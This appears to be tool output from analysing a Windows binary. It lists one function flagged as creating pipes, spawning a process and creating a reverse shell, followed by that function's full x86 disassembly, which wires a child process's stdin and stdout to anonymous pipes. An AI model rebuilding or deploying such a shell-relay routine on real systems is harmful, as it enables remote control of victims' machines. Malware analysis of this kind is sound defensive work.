Function at 0x10011a70
Capabilities:
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0xb0]
push esi
push edi
mov dword [ebp - 8], eax
mov byte [ebp - 4], dl
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.10011a60
push ebp
push 0x10024b40
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xa4]
xor cl, cl
mov edx, 0x44
call fcn.10016050
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xffffffff
push 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
add eax, 0x1c
push eax
mov eax, dword [ebp - 8]
add eax, 0x18
push eax
call fcn.10031790
push eax
push dword [ebp - 8]
push 0
call fcn.10031650
mov ecx, eax
xor edx, edx
mov eax, str.CreatePipe_StdOut_
call fcn.10034f00
xor eax, eax
push fcn.10011a20
push ebp
push 0x10024b40
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
mov eax, dword [ebp - 8]
push dword [eax + 0x18]
call fcn.10031740
push 0
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 8]
add eax, 0x24
push eax
mov eax, dword [ebp - 8]
add eax, 0x20
push eax
call fcn.10031790
push eax
push dword [ebp - 8]
push 0
call fcn.10031650
mov ecx, eax
xor edx, edx
mov eax, str.CreatePipe_StdIn_
call fcn.10034f00
xor eax, eax
push fcn.100119e0
push ebp
push 0x10024b40
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 1
mov eax, dword [ebp - 8]
push dword [eax + 0x24]
call fcn.10031740
lea edi, [ebp - 0x60]
lea esi, [ebp - 0xa4]
mov ecx, 0x11
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x34], 0x141
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x20], eax
mov word [ebp - 0x30], 0
mov eax, str.CreateProcess__
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xac], eax
mov eax, 0x10088640
mov dword [ebp - 0xa8], eax
lea edx, [ebp - 0xb0]
lea eax, [ebp - 0x10]
mov ecx, 2
call fcn.1001d160
mov eax, dword [ebp - 8]
add eax, 0x28
push eax
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push dword [ebp - 0xc]
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x14]
test eax, eax
jne 0x10011c0d
mov eax, 0x100a0310
push eax
push 0
call fcn.10031830
push eax
push dword [ebp - 8]
push 0
call fcn.10031650
mov ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x10]
call fcn.10034f00
xor eax, eax
push fcn.100119b0
push ebp
push 0x10024b40
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push dword [eax + 0x28]
call fcn.10031950
mov eax, dword [ebp - 8]
push dword [eax + 0x1c]
call fcn.10031730
mov eax, dword [ebp - 8]
mov dword [eax + 0x1c], 0
mov eax, dword [ebp - 8]
push dword [eax + 0x20]
call fcn.10031730
mov eax, dword [ebp - 8]
mov dword [eax + 0x20], 0
cmp byte [ebp - 4], 0
je 0x10011cce
nop dword [eax]
mov eax, dword [ebp - 8]
call fcn.100118b0
push 0xa
mov eax, dword [ebp - 8]
push dword [eax + 0x28]
call fcn.100316b0
cmp eax, 0x102
je 0x10011c80
mov eax, dword [ebp - 8]
call fcn.100118b0
mov eax, dword [ebp - 8]
add eax, 0x38
push eax
mov eax, dword [ebp - 8]
push dword [eax + 0x28]
call fcn.10031630
push eax
push 0
push 0
call fcn.10031650
mov ecx, eax
xor edx, edx
mov eax, str.GetExitCodeProcess
call fcn.10034f00
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.100119b0
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.100119e0
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.10011a20
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.10011a60
pop edi
pop esi
mov esp, ebp
pop ebp
ret